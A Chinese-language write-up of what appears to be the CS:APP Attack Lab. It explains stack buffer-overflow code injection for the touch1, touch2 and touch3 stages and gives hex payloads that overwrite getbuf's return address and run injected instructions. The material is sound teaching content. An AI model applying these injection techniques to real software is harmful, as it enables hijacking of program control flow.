**缓冲区溢出**

缓冲区溢出需要完成三个任务，任务内容和解决方法如下所示：

1. Touch1

Touch1的任务相对简单，完成对touch1函数的调用即可，在test函数中调用了getbuf()函数，查看该函数的汇编可以知道getbuf函数申请了0x28个字节，即40个字节，在getbuf函数中没有进行push rbp的步骤，因此如果输入41个字节则最后一个字节将直接覆盖函数的返回地址，即需要执行的下一条指令的地址，将其改为touch1函数的地址即可。则需要构造的hex文件如下所示：

**00 00 00 00**

**00 00 00 00**

**00 00 00 00**

**00 00 00 00**

**00 00 00 00**

**00 00 00 00**

**00 00 00 00**

**00 00 00 00**

**00 00 00 00**

**00 00 00 00**

**C0 17 40 00**

1. Touch2

Touch2与Touch1类似，但是要求不仅仅是执行Touch2函数，同时要求传入的参数和cookie.txt文件中的内容一致，此时需要向缓冲区中写入我们自己的代码并执行。通过gdb调试可以知道buf缓冲区内容的开头地址为0x5561dc78，可以从该处写汇编代码借助gcc和objdump指令将其转为机器码。汇编代码如下所示:

movq $0x59b997fa, %rdi

pushq $0x004017ec

ret

ret会pop rsp存储的指令并跳转执行，movq将cookie中的数据写入rdi寄存器作为函数参数。将对应的机器代码写入缓冲区开头即可，如下所示：

**48 c7 c7 fa**

**97 b9 59 68**

**ec 17 40 00**

**c3 00 00 00**

**00 00 00 00**

**00 00 00 00**

**00 00 00 00**

**00 00 00 00**

**00 00 00 00**

**00 00 00 00**

**78 dc 61 55**

1. Touch3

touch3要求将cookie以字符串的形式作为参数传到touch3中，类似touch2，但是移到rdi中的数据应该是一个地址而不是一个常数，需要将字符串的数据写入到缓冲区中以首地址的形式引用，简单地写到缓冲区的空白处可能会被覆盖，导致最后进行字符串比较时不一致，因此需要确保写入缓冲区的字符串不会被覆盖。有两种方法，第一种继续溢出缓冲区，但是要确保在溢出的过程中不能覆盖正常的数据导致程序出错；第二种将字符串写入缓冲区中，但不直接将touch3的地址压栈，而是同样存储在缓冲区中，将rsp直接移到该位置。这两种方法共同点是将rsp移到字符串之后，这样以来后续的操作覆盖字符串的可能性较小。两种方法的缓冲数据如下所示：

方法一：

**48 c7 c7 a8**

**dc 61 55 68**

**fa 18 40 00**

**c3 00 00 00**

**00 00 00 00**

**00 00 00 00**

**00 00 00 00**

**00 00 00 00**

**00 00 00 00**

**00 00 00 00**

**78 dc 61 55**

**00 00 00 00**

**35 39 62 39**

**39 37 66 61**

方法二：

**48 c7 c7 94**

**dc 61 55 48**

**c7 c4 8c dc**

**61 55 c3 00**

**00 00 00 00**

**fa 18 40 00**

**00 00 00 00**

**35 39 62 39**

**39 37 66 61**

**00 00 00 00**

**78 dc 61 55**